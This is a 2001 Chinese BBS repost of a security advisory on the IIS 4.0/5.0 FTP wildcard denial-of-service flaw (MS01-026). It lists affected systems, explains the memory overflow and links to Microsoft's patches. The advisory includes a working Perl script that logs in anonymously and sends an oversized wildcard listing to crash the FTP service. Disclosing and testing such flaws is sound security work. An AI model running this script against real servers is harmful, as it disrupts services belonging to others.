computer 版 (精华区)
发信人: ghost (告别毕业生,good luck), 信区: network
标 题: 微软ftp通配符拒绝服务漏洞
发信站: 听涛站 (2001年05月29日13:01:55 星期二), 站内信件
微软FTP通配符拒绝服务漏洞
受影响系统:
-----------------------------------------------------------------------
---------
Microsoft IIS 5.0
+ Microsoft Windows 2000 SP1
+ Microsoft Windows 2000
Microsoft IIS 4.0
- Microsoft Windows NT 4.0SP6a
+ Microsoft Windows NT 4.0
- Microsoft Windows NT 4.0SP6
+ Microsoft Windows NT 4.0
- Microsoft Windows NT 4.0SP5
+ Microsoft Windows NT 4.0
- Microsoft Windows NT 4.0SP4
+ Microsoft Windows NT 4.0
- Microsoft Windows NT 4.0SP3
+ Microsoft Windows NT 4.0
- Microsoft Windows NT 4.0SP2
+ Microsoft Windows NT 4.0
- Microsoft Windows NT 4.0SP1
+ Microsoft Windows NT 4.0
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0
不受影响的系统:
-----------------------------------------------------------------------
---------
漏洞内容:
-----------------------------------------------------------------------
---------
微软IIS 4.0/5.0所带的FTP服务存在一个安全漏洞,可以造成对FTP服务器的拒绝
服务攻击。一个处理FTP命令通配符序列的功能有时无法在进行模式匹配时分配足
够的内存。一般情况下,攻击者可以执行一个带有通配符序列的FTP命令,使它溢
出已分配的内存并造成访问错误。这会造成IIS服务(可提供web和FTP功能)中断
。
攻击实例:
-----------------------------------------------------------------------
---------
Nelson Bunker提供了下列测试代码:
#!/usr/bin/perl
# Author: Nelson Bunker - Critical Watch
# http://www.criticalwatch.com
#
# Simple Wildcard Denial of Service for IIS Ftp Servers - MS01-026
# Tested against several servers. Your mileage may vary.
#
# Assumes anonymous access.
#
# Thanks goes out to Lukasz Luzar [lluzar@developers.of.pl]
# For discovering and sharing this information
#
# May 15, 2001
####################_MAIN::Begin_#####################
use Net::FTP;
$wildcard='**********************************************************
***********************************************';
if (not $ARGV[0]) {
print qq~
Usage: wildcard_dos.pl
~;
exit;}
$IPaddress= $ARGV[0];
$SIG {'PIPE'} = FoundIt;
# create new FTP connection w/30 second timeout
$ftp = Net::FTP->new($IPaddress, Timeout => 5);
if(!$ftp){ die"$IPaddress is not responding to ftp connect
attempt";}
if(!$ftp->login("anonymous","tester\@")){ die"FTP user
anonymous on
$IPaddress is unacceptable";}
$bogus = $ftp->ls($wildcard);
sub FoundIt
{
print "This machine \($IPaddress\) is affected\n";
exit(0);
}
解决方案:
-----------------------------------------------------------------------
---------
微软已就此发布了一个安全公告(MS01-026)以及相应补丁。
您可以在下列地址看到微软安全公告的详细内容:
http://www.microsoft.com/technet/security/bulletin/ms01-026.asp
补丁程序可以在下列地址下载:
. Microsoft IIS 4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29787
. Microsoft IIS 5.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29764
--
我是沧海一小龙
游到东来游到西
找寻未知的东西
只求逍遥在人间
※ 来源:·听涛站 tingtao.dhs.org·[FROM: 匿名天使的家]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:0.870毫秒